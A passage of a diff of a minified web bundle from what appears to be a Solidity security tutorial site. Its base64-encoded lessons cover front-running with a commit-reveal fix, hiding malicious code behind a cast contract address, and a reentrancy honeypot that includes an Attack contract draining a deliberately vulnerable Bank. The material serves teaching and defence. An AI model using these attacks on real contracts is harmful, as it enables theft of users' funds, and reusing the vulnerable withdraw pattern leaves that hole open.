nIHRoYXQgd2lsbCBoYXNoIHRvIHRoZSB0YXJnZXQgaGFzaC4gKCJFdGhlcmV1bSIpLgozLiBCb2IgdGhlbiBmaW5kcyB0aGUga2VjY2FrMjU2KEFkZHJlc3MgaW4gbG93ZXJjYXNlICsgU29sdXRpb24gKyBTZWNyZXQpLiAKICAgQWRkcmVzcyBpcyBoaXMgd2FsbGV0IGFkZHJlc3MgaW4gbG93ZXJjYXNlLCBzb2x1dGlvbiBpcyAiRXRoZXJldW0iLCBTZWNyZXQgaXMgbGlrZSBhbiBwYXNzd29yZCAoIm15c2VjcmV0IikgCiAgIHRoYXQgb25seSBCb2Iga25vd3Mgd2hpYyBCb2IgdXNlcyB0byBjb21taXQgYW5kIHJldmVhbCB0aGUgc29sdXRpb24uCiAgIGtlY2NhazI1NjYoIjB4ZjM5RmQ2ZTUxYWFkODhGNkY0Y2U2YUI4ODI3Mjc5Y2ZmRmI5MjI2NkV0aGVyZXVtbXlzZWNyZXQiKSA9ICcweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYnCjMuIEJvYiB0aGVuIGNhbGxzIGNvbW1pdFNvbHV0aW9uKCIweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYiKSwgCiAgIHdoZXJlIGhlIGNvbW1pdHMgdGhlIGNhbGN1bGF0ZWQgc29sdXRpb24gaGFzaCB3aXRoIGdhcyBwcmljZSBzZXQgdG8gMTUgZ3dlaS4KNC4gRXZlIGlzIHdhdGNoaW5nIHRoZSB0cmFuc2FjdGlvbiBwb29sIGZvciB0aGUgYW5zd2VyIHRvIGJlIHN1Ym1pdHRlZC4KNS4gRXZlIHNlZXMgQm9iJ3MgYW5zd2VyIGFuZCBoZSBhbHNvIGNhbGxzIGNvbW1pdFNvbHV0aW9uKCIweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYiKQogICB3aXRoIGEgaGlnaGVyIGdhcyBwcmljZSB0aGFuIEJvYiAoMTAwIGd3ZWkpLgo2LiBFdmUncyB0cmFuc2FjdGlvbiB3YXMgbWluZWQgYmVmb3JlIEJvYidzIHRyYW5zYWN0aW9uLCBidXQgRXZlIGhhcyBub3QgZ290IHRoZSByZXdhcmQgeWV0LgogICBIZSBuZWVkcyB0byBjYWxsIHJldmVhbFNvbHV0aW9uKCkgd2l0aCBleGFjdCBzZWNyZXQgYW5kIHNvbHV0aW9uLCBzbyBsZXRzIHNheSBoZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbAogICB0byBmcm9udCBydW4gQm9iIGFzIGhlIGRpZCBwcmV2aW91c2x5CjcuIFRoZW4gQm9iIGNhbGxzIHRoZSByZXZlYWxTb2x1dGlvbigiRXRoZXJldW0iLCAibXlzZWNyZXQiKSB3aXRoIGdhcyBwcmljZSBzZXQgdG8gMTUgZ3dlaTsKOC4gTGV0J3MgY29uc2lkZXIgdGhhdCBFdmUncyB3aG8ncyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCwgZmluZCdzIEJvYidzIHJldmVhbCBzb2x1dGlvbiB0cmFuc2FjdGlvbiBhbmQgaGUgYWxzbyBjYWxscyAKICAgcmV2ZWFsU29sdXRpb24oIkV0aGVyZXVtIiwgIm15c2VjcmV0Iikgd2l0aCBoaWdoZXIgZ2FzIHByaWNlIHRoYW4gQm9iICgxMDAgZ3dlaSkKOS4gTGV0J3MgY29uc2lkZXIgdGhhdCB0aGlzIHRpbWUgYWxzbyBFdmUncyByZXZlYWwgdHJhbnNhY3Rpb24gd2FzIG1pbmVkIGJlZm9yZSBCb2IncyB0cmFuc2FjdGlvbiwgYnV0IEV2ZSB3aWxsIGJlCiAgIHJldmVydGVkIHdpdGggIkhhc2ggZG9lc24ndCBtYXRjaCIgZXJyb3IuIFNpbmNlIHRoZSByZXZlYWxTb2x1dGlvbigpIGZ1bmN0aW9uIGNoZWNrcyB0aGUgaGFzaCB1c2luZyAKICAga2VjY2FrMjU2KG1zZy5zZW5kZXIgKyBzb2x1dGlvbiArIHNlY3JldCkuIFNvIHRoaXMgdGltZSBldmUgZmFpbHMgdG8gd2luIHRoZSByZXdhcmQuCjEwLkJ1dCBCb2IncyByZXZlYWxTb2x1dGlvbigiRXRoZXJldW0iLCAibXlzZWNyZXQiKSBwYXNzZXMgdGhlIGhhc2ggY2hlY2sgYW5kIGdldHMgdGhlIHJld2FyZCBvZiAxMCBldGhlci4KKi8KCmNvbnRyYWN0IFNlY3VyZWRGaW5kVGhpc0hhc2ggewogICAgLy8gU3RydWN0IGlzIHVzZWQgdG8gc3RvcmUgdGhlIGNvbW1pdCBkZXRhaWxzCiAgICBzdHJ1Y3QgQ29tbWl0IHsKICAgICAgICBieXRlczMyIHNvbHV0aW9uSGFzaDsKICAgICAgICB1aW50MjU2IGNvbW1pdFRpbWU7CiAgICAgICAgYm9vbCByZXZlYWxlZDsKICAgIH0KCiAgICAvLyBUaGUgaGFzaCB0aGF0IGlzIG5lZWRlZCB0byBiZSBzb2x2ZWQKICAgIGJ5dGVzMzIgcHVibGljIGhhc2ggPQogICAgICAgIDB4NTY0Y2NhZjc1OTRkNjZiMWVhYWVhMjRmZTAxZjA1ODViZjUyZWU3MDg1MmFmNGVhYzBjYzRiMDQ3MTFjZDBlMjsKCiAgICAvLyBBZGRyZXNzIG9mIHRoZSB3aW5uZXIKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICAvLyBQcmljZSB0byBiZSByZXdhcmRlZAogICAgdWludDI1NiBwdWJsaWMgcmV3YXJkOwoKICAgIC8vIFN0YXR1cyBvZiBnYW1lCiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICAvLyBNYXBwaW5nIHRvIHN0b3JlIHRoZSBjb21taXQgZGV0YWlscyB3aXRoIGFkZHJlc3MKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBDb21taXQpIGNvbW1pdHM7CgogICAgLy8gTW9kaWZpZXIgdG8gY2hlY2sgaWYgdGhlIGdhbWUgaXMgYWN0aXZlCiAgICBtb2RpZmllciBnYW1lQWN0aXZlKCkgewogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiQWxyZWFkeSBlbmRlZCIpOwogICAgICAgIF87CiAgICB9CgogICAgY29uc3RydWN0b3IoKSBwYXlhYmxlIHsKICAgICAgICByZXdhcmQgPSBtc2cudmFsdWU7CiAgICB9CgogICAgLyogCiAgICAgICBDb21taXQgZnVuY3Rpb24gdG8gc3RvcmUgdGhlIGhhc2ggY2FsY3VsYXRlZCB1c2luZyBrZWNjYWsyNTYoYWRkcmVzcyBpbiBsb3dlcmNhc2UgKyBzb2x1dGlvbiArIHNlY3JldCkuIAogICAgICAgVXNlcnMgY2FuIG9ubHkgY29tbWl0IG9uY2UgYW5kIGlmIHRoZSBnYW1lIGlzIGFjdGl2ZS4KICAgICovCiAgICBmdW5jdGlvbiBjb21taXRTb2x1dGlvbihieXRlczMyIF9zb2x1dGlvbkhhc2gpIHB1YmxpYyBnYW1lQWN0aXZlIHsKICAgICAgICBDb21taXQgc3RvcmFnZSBjb21taXQgPSBjb21taXRzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoY29tbWl0LmNvbW1pdFRpbWUgPT0gMCwgIkFscmVhZHkgY29tbWl0dGVkIik7CiAgICAgICAgY29tbWl0LnNvbHV0aW9uSGFzaCA9IF9zb2x1dGlvbkhhc2g7CiAgICAgICAgY29tbWl0LmNvbW1pdFRpbWUgPSBibG9jay50aW1lc3RhbXA7CiAgICAgICAgY29tbWl0LnJldmVhbGVkID0gZmFsc2U7CiAgICB9CgogICAgLyogCiAgICAgICAgRnVuY3Rpb24gdG8gZ2V0IHRoZSBjb21taXQgZGV0YWlscy4gSXQgcmV0dXJucyBhIHR1cGxlIG9mIChzb2x1dGlvbkhhc2gsIGNvbW1pdFRpbWUsIHJldmVhbFN0YXR1cyk7ICAKICAgICAgICBVc2VycyBjYW4gZ2V0IHNvbHV0aW9uIG9ubHkgaWYgdGhlIGdhbWUgaXMgYWN0aXZlIGFuZCB0aGV5IGhhdmUgY29tbWl0dGVkIGEgc29sdXRpb25IYXNoCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0TXlTb2x1dGlvbigpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIGdhbWVBY3RpdmUKICAgICAgICByZXR1cm5zIChieXRlczMyLCB1aW50MjU2LCBib29sKQogICAgewogICAgICAgIENvbW1pdCBzdG9yYWdlIGNvbW1pdCA9IGNvbW1pdHNbbXNnLnNlbmRlcl07CiAgICAgICAgcmVxdWlyZShjb21taXQuY29tbWl0VGltZSAhPSAwLCAiTm90IGNvbW1pdHRlZCB5ZXQiKTsKICAgICAgICByZXR1cm4gKGNvbW1pdC5zb2x1dGlvbkhhc2gsIGNvbW1pdC5jb21taXRUaW1lLCBjb21taXQucmV2ZWFsZWQpOwogICAgfQogICAgLyogCiAgICAgICAgRnVuY3Rpb24gdG8gcmV2ZWFsIHRoZSBjb21taXQgYW5kIGdldCB0aGUgcmV3YXJkLiAKICAgICAgICBVc2VycyBjYW4gZ2V0IHJldmVhbCBzb2x1dGlvbiBvbmx5IGlmIHRoZSBnYW1lIGlzIGFjdGl2ZSBhbmQgdGhleSBoYXZlIGNvbW1pdHRlZCBhIHNvbHV0aW9uSGFzaCBiZWZvcmUgdGhpcyBibG9jayBhbmQgbm90IHJldmVhbGVkIHlldC4KICAgICAgICBJdCBnZW5lcmF0ZXMgYW4ga2VjY2FrMjU2KG1zZy5zZW5kZXIgKyBzb2x1dGlvbiArIHNlY3JldCkgYW5kIGNoZWNrcyBpdCB3aXRoIHRoZSBwcmV2aW91c2x5IGNvbW1pdGVkIGhhc2guICAKICAgICAgICBBc3N1bWluZyB0aGF0IGEgY29tbWl0IHdhcyBhbHJlYWR5IGluY2x1ZGVkIG9uIGNoYWluLCBmcm9udCBydW5uZXJzIHdpbGwgbm90IGJlIGFibGUgdG8gcGFzcyB0aGlzIGNoZWNrIHNpbmNlIHRoZSBtc2cuc2VuZGVyIGlzIGRpZmZlcmVudC4KICAgICAgICBUaGVuIHRoZSBhY3R1YWwgc29sdXRpb24gaXMgY2hlY2tlZCB1c2luZyBrZWNjYWsyNTYoc29sdXRpb24pLCBpZiB0aGUgc29sdXRpb24gbWF0Y2hlcywgdGhlIHdpbm5lciBpcyBkZWNsYXJlZCwgCiAgICAgICAgdGhlIGdhbWUgaXMgZW5kZWQgYW5kIHRoZSByZXdhcmQgYW1vdW50IGlzIHNlbnQgdG8gdGhlIHdpbm5lci4KICAgICovCgogICAgZnVuY3Rpb24gcmV2ZWFsU29sdXRpb24oc3RyaW5nIG1lbW9yeSBfc29sdXRpb24sIHN0cmluZyBtZW1vcnkgX3NlY3JldCkKICAgICAgICBwdWJsaWMKICAgICAgICBnYW1lQWN0aXZlCiAgICB7CiAgICAgICAgQ29tbWl0IHN0b3JhZ2UgY29tbWl0ID0gY29tbWl0c1ttc2cuc2VuZGVyXTsKICAgICAgICByZXF1aXJlKGNvbW1pdC5jb21taXRUaW1lICE9IDAsICJOb3QgY29tbWl0dGVkIHlldCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIGNvbW1pdC5jb21taXRUaW1lIDwgYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICAiQ2Fubm90IHJldmVhbCBpbiB0aGUgc2FtZSBibG9jayIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoIWNvbW1pdC5yZXZlYWxlZCwgIkFscmVhZHkgY29tbWl0ZWQgYW5kIHJldmVhbGVkIik7CgogICAgICAgIGJ5dGVzMzIgc29sdXRpb25IYXNoID0KICAgICAgICAgICAga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQobXNnLnNlbmRlciwgX3NvbHV0aW9uLCBfc2VjcmV0KSk7CiAgICAgICAgcmVxdWlyZShzb2x1dGlvbkhhc2ggPT0gY29tbWl0LnNvbHV0aW9uSGFzaCwgIkhhc2ggZG9lc24ndCBtYXRjaCIpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfc29sdXRpb24pKSA9PSBoYXNoLCAiSW5jb3JyZWN0IGFuc3dlciIKICAgICAgICApOwoKICAgICAgICB3aW5uZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIGVuZGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcGF5YWJsZShtc2cuc2VuZGVyKS5jYWxse3ZhbHVlOiByZXdhcmR9KCIiKTsKICAgICAgICBpZiAoIXNlbnQpIHsKICAgICAgICAgICAgd2lubmVyID0gYWRkcmVzcygwKTsKICAgICAgICAgICAgZW5kZWQgPSBmYWxzZTsKICAgICAgICAgICAgcmV2ZXJ0KCJGYWlsZWQgdG8gc2VuZCBldGhlci4iKTsKICAgICAgICB9CiAgICB9Cn0K"}],_k=`

                                    Vulnerability

                                    Transactions take some time before they are mined. An attacker can watch the transaction pool and send a transaction, have it included in a block before the original transaction. This mechanism can be abused to re-order transactions to the attacker's advantage.

                                    @@ -9522,7 +9522,7 @@ before the original. } } } -`,Lk=({prev:s,next:a})=>r.jsx(u,{version:Ek,title:Qk,description:Tk,html:_k,prev:s,next:a,codes:Uk}),Ok="0.8.24",Pk="Hiding Malicious Code with External Contract",$k="An example of exploit where malicious code is hidden in an external contract in Solidity",qk=[{fileName:"ExternalContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkxldCdzIHNheSBBbGljZSBjYW4gc2VlIHRoZSBjb2RlIG9mIEZvbyBhbmQgQmFyIGJ1dCBub3QgTWFsLgpJdCBpcyBvYnZpb3VzIHRvIEFsaWNlIHRoYXQgRm9vLmNhbGxCYXIoKSBleGVjdXRlcyB0aGUgY29kZSBpbnNpZGUgQmFyLmxvZygpLgpIb3dldmVyIEV2ZSBkZXBsb3lzIEZvbyB3aXRoIHRoZSBhZGRyZXNzIG9mIE1hbCwgc28gdGhhdCBjYWxsaW5nIEZvby5jYWxsQmFyKCkKd2lsbCBhY3R1YWxseSBleGVjdXRlIHRoZSBjb2RlIGF0IE1hbC4KKi8KCi8qCjEuIEV2ZSBkZXBsb3lzIE1hbAoyLiBFdmUgZGVwbG95cyBGb28gd2l0aCB0aGUgYWRkcmVzcyBvZiBNYWwKMy4gQWxpY2UgY2FsbHMgRm9vLmNhbGxCYXIoKSBhZnRlciByZWFkaW5nIHRoZSBjb2RlIGFuZCBqdWRnaW5nIHRoYXQgaXQgaXMKICAgc2FmZSB0byBjYWxsLgo0LiBBbHRob3VnaCBBbGljZSBleHBlY3RlZCBCYXIubG9nKCkgdG8gYmUgZXhlY3V0ZSwgTWFsLmxvZygpIHdhcyBleGVjdXRlZC4KKi8KCmNvbnRyYWN0IEZvbyB7CiAgICBCYXIgYmFyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2JhcikgewogICAgICAgIGJhciA9IEJhcihfYmFyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsQmFyKCkgcHVibGljIHsKICAgICAgICBiYXIubG9nKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGxvZygpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2coIkJhciB3YXMgY2FsbGVkIik7CiAgICB9Cn0KCi8vIFRoaXMgY29kZSBpcyBoaWRkZW4gaW4gYSBzZXBhcmF0ZSBmaWxlCmNvbnRyYWN0IE1hbCB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHsKICAgIC8vICAgICBlbWl0IExvZygiTWFsIHdhcyBjYWxsZWQiKTsKICAgIC8vIH0KCiAgICAvLyBBY3R1YWxseSB3ZSBjYW4gZXhlY3V0ZSB0aGUgc2FtZSBleHBsb2l0IGV2ZW4gaWYgdGhpcyBmdW5jdGlvbiBkb2VzCiAgICAvLyBub3QgZXhpc3QgYnkgdXNpbmcgdGhlIGZhbGxiYWNrCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJNYWwgd2FzIGNhbGxlZCIpOwogICAgfQp9Cg=="}],s0=`

                                    Vulnerability

                                    +`,Lk=({prev:s,next:a})=>r.jsx(A,{version:Ek,title:Qk,description:Tk,html:_k,prev:s,next:a,codes:Uk}),Ok="0.8.24",Pk="Hiding Malicious Code with External Contract",$k="An example of exploit where malicious code is hidden in an external contract in Solidity",qk=[{fileName:"ExternalContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkxldCdzIHNheSBBbGljZSBjYW4gc2VlIHRoZSBjb2RlIG9mIEZvbyBhbmQgQmFyIGJ1dCBub3QgTWFsLgpJdCBpcyBvYnZpb3VzIHRvIEFsaWNlIHRoYXQgRm9vLmNhbGxCYXIoKSBleGVjdXRlcyB0aGUgY29kZSBpbnNpZGUgQmFyLmxvZygpLgpIb3dldmVyIEV2ZSBkZXBsb3lzIEZvbyB3aXRoIHRoZSBhZGRyZXNzIG9mIE1hbCwgc28gdGhhdCBjYWxsaW5nIEZvby5jYWxsQmFyKCkKd2lsbCBhY3R1YWxseSBleGVjdXRlIHRoZSBjb2RlIGF0IE1hbC4KKi8KCi8qCjEuIEV2ZSBkZXBsb3lzIE1hbAoyLiBFdmUgZGVwbG95cyBGb28gd2l0aCB0aGUgYWRkcmVzcyBvZiBNYWwKMy4gQWxpY2UgY2FsbHMgRm9vLmNhbGxCYXIoKSBhZnRlciByZWFkaW5nIHRoZSBjb2RlIGFuZCBqdWRnaW5nIHRoYXQgaXQgaXMKICAgc2FmZSB0byBjYWxsLgo0LiBBbHRob3VnaCBBbGljZSBleHBlY3RlZCBCYXIubG9nKCkgdG8gYmUgZXhlY3V0ZSwgTWFsLmxvZygpIHdhcyBleGVjdXRlZC4KKi8KCmNvbnRyYWN0IEZvbyB7CiAgICBCYXIgYmFyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2JhcikgewogICAgICAgIGJhciA9IEJhcihfYmFyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsQmFyKCkgcHVibGljIHsKICAgICAgICBiYXIubG9nKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGxvZygpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2coIkJhciB3YXMgY2FsbGVkIik7CiAgICB9Cn0KCi8vIFRoaXMgY29kZSBpcyBoaWRkZW4gaW4gYSBzZXBhcmF0ZSBmaWxlCmNvbnRyYWN0IE1hbCB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHsKICAgIC8vICAgICBlbWl0IExvZygiTWFsIHdhcyBjYWxsZWQiKTsKICAgIC8vIH0KCiAgICAvLyBBY3R1YWxseSB3ZSBjYW4gZXhlY3V0ZSB0aGUgc2FtZSBleHBsb2l0IGV2ZW4gaWYgdGhpcyBmdW5jdGlvbiBkb2VzCiAgICAvLyBub3QgZXhpc3QgYnkgdXNpbmcgdGhlIGZhbGxiYWNrCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJNYWwgd2FzIGNhbGxlZCIpOwogICAgfQp9Cg=="}],s0=`

                                    Vulnerability

                                    In Solidity any address can be casted into specific contract, even if the contract at the address is not the one being casted.

                                    This can be exploited to hide malicious code. Let's see how.

                                    @@ -9589,7 +9589,7 @@ external contract can be reviewed constructor() public { bar = new Bar(); } -`,a0=({prev:s,next:a})=>r.jsx(u,{version:Ok,title:Pk,description:$k,html:s0,prev:s,next:a,codes:qk}),n0="0.8.24",l0="Honeypot",p0="An example of honeypot in Solidity",e0=[{fileName:"HoneyPot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkJhbmsgaXMgYSBjb250cmFjdCB0aGF0IGNhbGxzIExvZ2dlciB0byBsb2cgZXZlbnRzLgpCYW5rLndpdGhkcmF3KCkgaXMgdnVsbmVyYWJsZSB0byB0aGUgcmVlbnRyYW5jeSBhdHRhY2suClNvIGEgaGFja2VyIHRyaWVzIHRvIGRyYWluIEV0aGVyIGZyb20gQmFuay4KQnV0IGFjdHVhbGx5IHRoZSByZWVudHJhY3kgZXhwbG9pdCBpcyBhIGJhaXQgZm9yIGhhY2tlcnMuCkJ5IGRlcGxveWluZyBCYW5rIHdpdGggSG9uZXlQb3QgaW4gcGxhY2Ugb2YgdGhlIExvZ2dlciwgdGhpcyBjb250cmFjdCBiZWNvbWVzCmEgdHJhcCBmb3IgaGFja2Vycy4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgSG9uZXlQb3QKMi4gQWxpY2UgZGVwbG95cyBCYW5rIHdpdGggdGhlIGFkZHJlc3Mgb2YgSG9uZXlQb3QKMy4gQWxpY2UgZGVwb3NpdHMgMSBFdGhlciBpbnRvIEJhbmsuCjQuIEV2ZSBkaXNjb3ZlcnMgdGhlIHJlZW50cmFuY3kgZXhwbG9pdCBpbiBCYW5rLndpdGhkcmF3IGFuZCBkZWNpZGVzIHRvIGhhY2sgaXQuCjUuIEV2ZSBkZXBsb3lzIEF0dGFjayB3aXRoIHRoZSBhZGRyZXNzIG9mIEJhbmsKNi4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSB3aXRoIDEgRXRoZXIgYnV0IHRoZSB0cmFuc2FjdGlvbiBmYWlscy4KCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkgYW5kIGl0IHN0YXJ0cyB3aXRoZHJhd2luZyBFdGhlciBmcm9tIEJhbmsuCldoZW4gdGhlIGxhc3QgQmFuay53aXRoZHJhdygpIGlzIGFib3V0IHRvIGNvbXBsZXRlLCBpdCBjYWxscyBsb2dnZXIubG9nKCkuCkxvZ2dlci5sb2coKSBjYWxscyBIb25leVBvdC5sb2coKSBhbmQgcmV2ZXJ0cy4gVHJhbnNhY3Rpb24gZmFpbHMuCiovCgpjb250cmFjdCBCYW5rIHsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZXM7CiAgICBMb2dnZXIgbG9nZ2VyOwoKICAgIGNvbnN0cnVjdG9yKExvZ2dlciBfbG9nZ2VyKSB7CiAgICAgICAgbG9nZ2VyID0gTG9nZ2VyKF9sb2dnZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvZ2dlci5sb2cobXNnLnNlbmRlciwgbXNnLnZhbHVlLCAiRGVwb3NpdCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPD0gYmFsYW5jZXNbbXNnLnNlbmRlcl0sICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gLT0gX2Ftb3VudDsKCiAgICAgICAgbG9nZ2VyLmxvZyhtc2cuc2VuZGVyLCBfYW1vdW50LCAiV2l0aGRyYXciKTsKICAgIH0KfQoKY29udHJhY3QgTG9nZ2VyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGNhbGxlciwgdWludDI1NiBhbW91bnQsIHN0cmluZyBhY3Rpb24pOwoKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGVtaXQgTG9nKF9jYWxsZXIsIF9hbW91bnQsIF9hY3Rpb24pOwogICAgfQp9CgovLyBIYWNrZXIgdHJpZXMgdG8gZHJhaW4gdGhlIEV0aGVycyBzdG9yZWQgaW4gQmFuayBieSByZWVudHJhbmN5Lgpjb250cmFjdCBBdHRhY2sgewogICAgQmFuayBiYW5rOwoKICAgIGNvbnN0cnVjdG9yKEJhbmsgX2JhbmspIHsKICAgICAgICBiYW5rID0gQmFuayhfYmFuayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhiYW5rKS5iYWxhbmNlID49IDEgZXRoZXIpIHsKICAgICAgICAgICAgYmFuay53aXRoZHJhdygxIGV0aGVyKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGJhbmsuZGVwb3NpdHt2YWx1ZTogMSBldGhlcn0oKTsKICAgICAgICBiYW5rLndpdGhkcmF3KDEgZXRoZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKLy8gTGV0J3Mgc2F5IHRoaXMgY29kZSBpcyBpbiBhIHNlcGFyYXRlIGZpbGUgc28gdGhhdCBvdGhlcnMgY2Fubm90IHJlYWQgaXQuCmNvbnRyYWN0IEhvbmV5UG90IHsKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGlmIChlcXVhbChfYWN0aW9uLCAiV2l0aGRyYXciKSkgewogICAgICAgICAgICByZXZlcnQoIkl0J3MgYSB0cmFwIik7CiAgICAgICAgfQogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGNvbXBhcmUgc3RyaW5ncyB1c2luZyBrZWNjYWsyNTYKICAgIGZ1bmN0aW9uIGVxdWFsKHN0cmluZyBtZW1vcnkgX2EsIHN0cmluZyBtZW1vcnkgX2IpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF9hKSkgPT0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoX2IpKTsKICAgIH0KfQo="}],c0=`

                                    A honeypot is a trap to catch hackers.

                                    +`,a0=({prev:s,next:a})=>r.jsx(A,{version:Ok,title:Pk,description:$k,html:s0,prev:s,next:a,codes:qk}),n0="0.8.24",l0="Honeypot",p0="An example of honeypot in Solidity",e0=[{fileName:"HoneyPot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkJhbmsgaXMgYSBjb250cmFjdCB0aGF0IGNhbGxzIExvZ2dlciB0byBsb2cgZXZlbnRzLgpCYW5rLndpdGhkcmF3KCkgaXMgdnVsbmVyYWJsZSB0byB0aGUgcmVlbnRyYW5jeSBhdHRhY2suClNvIGEgaGFja2VyIHRyaWVzIHRvIGRyYWluIEV0aGVyIGZyb20gQmFuay4KQnV0IGFjdHVhbGx5IHRoZSByZWVudHJhY3kgZXhwbG9pdCBpcyBhIGJhaXQgZm9yIGhhY2tlcnMuCkJ5IGRlcGxveWluZyBCYW5rIHdpdGggSG9uZXlQb3QgaW4gcGxhY2Ugb2YgdGhlIExvZ2dlciwgdGhpcyBjb250cmFjdCBiZWNvbWVzCmEgdHJhcCBmb3IgaGFja2Vycy4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgSG9uZXlQb3QKMi4gQWxpY2UgZGVwbG95cyBCYW5rIHdpdGggdGhlIGFkZHJlc3Mgb2YgSG9uZXlQb3QKMy4gQWxpY2UgZGVwb3NpdHMgMSBFdGhlciBpbnRvIEJhbmsuCjQuIEV2ZSBkaXNjb3ZlcnMgdGhlIHJlZW50cmFuY3kgZXhwbG9pdCBpbiBCYW5rLndpdGhkcmF3IGFuZCBkZWNpZGVzIHRvIGhhY2sgaXQuCjUuIEV2ZSBkZXBsb3lzIEF0dGFjayB3aXRoIHRoZSBhZGRyZXNzIG9mIEJhbmsKNi4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSB3aXRoIDEgRXRo